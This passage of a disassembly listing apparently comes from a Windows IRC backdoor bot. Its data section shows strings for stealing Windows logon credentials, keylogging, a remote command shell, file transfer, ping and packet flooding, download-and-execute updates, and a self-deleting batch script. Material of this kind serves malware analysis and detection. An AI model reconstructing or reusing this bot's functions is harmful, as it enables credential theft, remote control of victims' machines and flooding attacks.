'MSGINA',0 ; DATA XREF: sub_409209+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo align 10h unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o ; sub_409706+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_40981F+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981F+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o ; sub_40EE72+220Do align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o ; sub_42105F+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao align 4 unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o ; sub_415C5E+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o align 4 unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B549o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B4FDo dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co align 10h word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr ; sub_40D099+1Fo align 4 dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo ; ___:loc_415C0Fo a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo ; ___:00415BFAo align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o ; ___:00415BEAo align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo ; ___:00415BD1o align 4 a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co ; ___:00415BC1o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao ; ___:00415BB1o align 4 a95 db '95',0 ; DATA XREF: sub_40B8D8+46o ; ___:00415BA3o align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB8C+A4o align 10h off_42DE40 dd offset loc_412F4E ; DATA XREF: sub_40BB8C:loc_40BBF8o off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o align 4 dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00D+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42E038 dd 80000002h, 42F6D0h, 80000002h, 42F700h, 80000001h, 42F738h ; DATA XREF: sub_40C1AE+7o dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1AE+63o ; sub_40C351+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+47o ; sub_40C512+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+362o ; sub_40C8B4+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C512+16Ao dd 169h dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+1D1o dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 